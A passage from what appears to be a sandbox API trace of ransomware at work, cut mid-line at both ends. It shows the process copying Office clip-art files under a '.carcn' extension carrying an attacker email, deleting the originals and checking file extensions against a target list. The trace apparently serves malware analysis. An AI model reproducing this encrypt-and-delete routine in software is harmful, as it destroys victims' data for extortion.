lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x7620, lpOverlapped=0x0) returned 1 [0280.951] WriteFile (in: hFile=0x4a8, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x7630, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x7630, lpOverlapped=0x0) returned 1 [0280.953] ReadFile (in: hFile=0x4bc, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0280.953] WriteFile (in: hFile=0x4a8, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0280.953] SetEndOfFile (hFile=0x4a8) returned 1 [0280.953] CloseHandle (hObject=0x4a8) returned 1 [0280.953] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0280.953] SetEndOfFile (hFile=0x4bc) returned 1 [0280.958] CloseHandle (hObject=0x4bc) returned 1 [0280.959] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0280.961] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf")) returned 1 [0280.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0280.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0280.962] lstrlenW (lpString=".doc") returned 4 [0280.962] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0280.962] lstrlenW (lpString=".docx") returned 5 [0280.962] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0280.962] lstrlenW (lpString=".pdf") returned 4 [0280.962] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0280.962] lstrlenW (lpString=".xls") returned 4 [0280.963] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0280.963] lstrlenW (lpString=".xlsx") returned 5 [0280.963] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0280.963] lstrlenW (lpString=".ppt") returned 4 [0280.963] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0280.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0280.963] lstrlenW (lpString=".zip") returned 4 [0280.963] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0280.963] lstrlenW (lpString=".rar") returned 4 [0280.963] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0280.963] lstrlenW (lpString=".bz2") returned 4 [0280.963] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0280.963] lstrlenW (lpString=".7z") returned 3 [0280.963] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0280.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0280.963] lstrlenW (lpString=".dbf") returned 4 [0280.963] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0280.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0280.963] lstrlenW (lpString=".1cd") returned 4 [0280.963] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0280.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0280.964] lstrlenW (lpString=".jpg") returned 4 [0280.964] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.108] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=18194) returned 1 [0281.108] CloseHandle (hObject=0x538) returned 1 [0281.109] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf")) returned 0x220 [0281.109] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0281.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0281.110] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0281.110] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0281.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0281.111] GetLastError () returned 0x0 [0281.111] ReadFile (in: hFile=0x538, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x4712, lpOverlapped=0x0) returned 1 [0281.113] WriteFile (in: hFile=0x53c, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x4720, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x4720, lpOverlapped=0x0) returned 1 [0281.115] ReadFile (in: hFile=0x538, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0281.115] WriteFile (in: hFile=0x53c, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0281.115] SetEndOfFile (hFile=0x53c) returned 1 [0281.116] CloseHandle (hObject=0x53c) returned 1 [0281.116] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0281.116] SetEndOfFile (hFile=0x538) returned 1 [0281.119] CloseHandle (hObject=0x538) returned 1 [0281.120] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0281.120] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf")) returned 1 [0281.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0281.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0281.122] lstrlenW (lpString=".doc") returned 4 [0281.122] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.122] lstrlenW (lpString=".docx") returned 5 [0281.122] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0281.122] lstrlenW (lpString=".pdf") returned 4 [0281.122] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.122] lstrlenW (lpString=".xls") returned 4 [0281.122] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.122] lstrlenW (lpString=".xlsx") returned 5 [0281.122] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0281.122] lstrlenW (lpString=".ppt") returned 4 [0281.122] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0281.122] lstrlenW (lpString=".zip") returned 4 [0281.122] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.122] lstrlenW (lpString=".rar") returned 4 [0281.122] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.122] lstrlenW (lpString=".bz2") returned 4 [0281.122] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.122] lstrlenW (lpString=".7z") returned 3 [0281.122] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0281.123] lstrlenW (lpString=".dbf") returned 4 [0281.123] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0281.123] lstrlenW (lpString=".1cd") returned 4 [0281.123] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0281.123] lstrlenW (lpString=".jpg") returned 4 [0281.123] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.124] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=8552) returned 1 [0281.124] CloseHandle (hObject=0x538) returned 1 [0281.124] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf")) returned 0x220 [0281.124] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0281.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0281.125] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0281.125] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0281.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0281.126] GetLastError () returned 0x0 [0281.126] ReadFile (in: hFile=0x538, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x2168, lpOverlapped=0x0) returned 1 [0281.185] WriteFile (in: hFile=0x53c, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x2170, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x2170, lpOverlapped=0x0) returned 1 [0281.186] ReadFile (in: hFile=0x538, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0281.186] WriteFile (in: hFile=0x53c, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0281.186] SetEndOfFile (hFile=0x53c) returned 1 [0281.187] CloseHandle (hObject=0x53c) returned 1 [0281.187] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0281.187] SetEndOfFile (hFile=0x538) returned 1 [0281.190] CloseHandle (hObject=0x538) returned 1 [0281.190] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0281.191] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf")) returned 1 [0281.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0281.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0281.192] lstrlenW (lpString=".doc") returned 4 [0281.192] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.192] lstrlenW (lpString=".docx") returned 5 [0281.192] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0281.192] lstrlenW (lpString=".pdf") returned 4 [0281.192] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.192] lstrlenW (lpString=".xls") returned 4 [0281.192] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.192] lstrlenW (lpString=".xlsx") returned 5 [0281.192] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0281.192] lstrlenW (lpString=".ppt") returned 4 [0281.192] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0281.192] lstrlenW (lpString=".zip") returned 4 [0281.192] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.192] lstrlenW (lpString=".rar") returned 4 [0281.192] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.192] lstrlenW (lpString=".bz2") returned 4 [0281.192] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.192] lstrlenW (lpString=".7z") returned 3 [0281.192] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0281.192] lstrlenW (lpString=".dbf") returned 4 [0281.193] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0281.193] lstrlenW (lpString=".1cd") returned 4 [0281.193] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0281.193] lstrlenW (lpString=".jpg") returned 4 [0281.193] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.193] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=10816) returned 1 [0281.193] CloseHandle (hObject=0x538) returned 1 [0281.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf")) returned 0x220 [0281.194] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0281.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0281.194] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0281.194] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0281.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0281.195] GetLastError () returned 0x0 [0281.195] ReadFile (in: hFile=0x538, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x2a40, lpOverlapped=0x0) returned 1 [0281.363] WriteFile (in: hFile=0x53c, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x2a50, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x2a50, lpOverlapped=0x0) returned 1 [0281.364] ReadFile (in: hFile=0x538, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0281.364] WriteFile (in: hFile=0x53c, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0281.364] SetEndOfFile (hFile=0x53c) returned 1 [0281.364] CloseHandle (hObject=0x53c) returned 1 [0281.365] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0281.365] SetEndOfFile (hFile=0x538) returned 1 [0281.367] CloseHandle (hObject=0x538) returned 1 [0281.367] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0281.368] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf")) returned 1 [0281.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0281.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0281.369] lstrlenW (lpString=".doc") returned 4 [0281.369] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.369] lstrlenW (lpString=".docx") returned 5 [0281.369] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0281.369] lstrlenW (lpString=".pdf") returned 4 [0281.369] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.369] lstrlenW (lpString=".xls") returned 4 [0281.369] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.369] lstrlenW (lpString=".xlsx") returned 5 [0281.369] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0281.369] lstrlenW (lpString=".ppt") returned 4 [0281.369] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0281.369] lstrlenW (lpString=".zip") returned 4 [0281.369] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.369] lstrlenW (lpString=".rar") returned 4 [0281.369] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.369] lstrlenW (lpString=".bz2") returned 4 [0281.369] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.369] lstrlenW (lpString=".7z") returned 3 [0281.369] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0281.369] lstrlenW (lpString=".dbf") returned 4 [0281.369] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0281.369] lstrlenW (lpString=".1cd") returned 4 [0281.369] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0281.370] lstrlenW (lpString=".jpg") returned 4 [0281.370] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.370] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=16396) returned 1 [0281.370] CloseHandle (hObject=0x538) returned 1 [0281.370] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf")) returned 0x220 [0281.370] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0281.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0281.371] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0281.371] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0281.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0281.372] GetLastError () returned 0x0 [0281.372] ReadFile (in: hFile=0x538, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x400c, lpOverlapped=0x0) returned 1 [0281.392] WriteFile (in: hFile=0x53c, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x4010, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x4010, lpOverlapped=0x0) returned 1 [0281.428] ReadFile (in: hFile=0x538, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0281.428] WriteFile (in: hFile=0x53c, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0281.428] SetEndOfFile (hFile=0x53c) returned 1 [0281.428] CloseHandle (hObject=0x53c) returned 1 [0281.429] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0281.429] SetEndOfFile (hFile=0x538) returned 1 [0281.440] CloseHandle (hObject=0x538) returned 1 [0281.440] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0281.442] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf")) returned 1 [0281.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0281.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0281.449] lstrlenW (lpString=".doc") returned 4 [0281.449] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.449] lstrlenW (lpString=".docx") returned 5 [0281.449] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0281.449] lstrlenW (lpString=".pdf") returned 4 [0281.449] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.449] lstrlenW (lpString=".xls") returned 4 [0281.449] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.449] lstrlenW (lpString=".xlsx") returned 5 [0281.449] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0281.449] lstrlenW (lpString=".ppt") returned 4 [0281.449] lstrcmpiW (lpString1=".ppt", 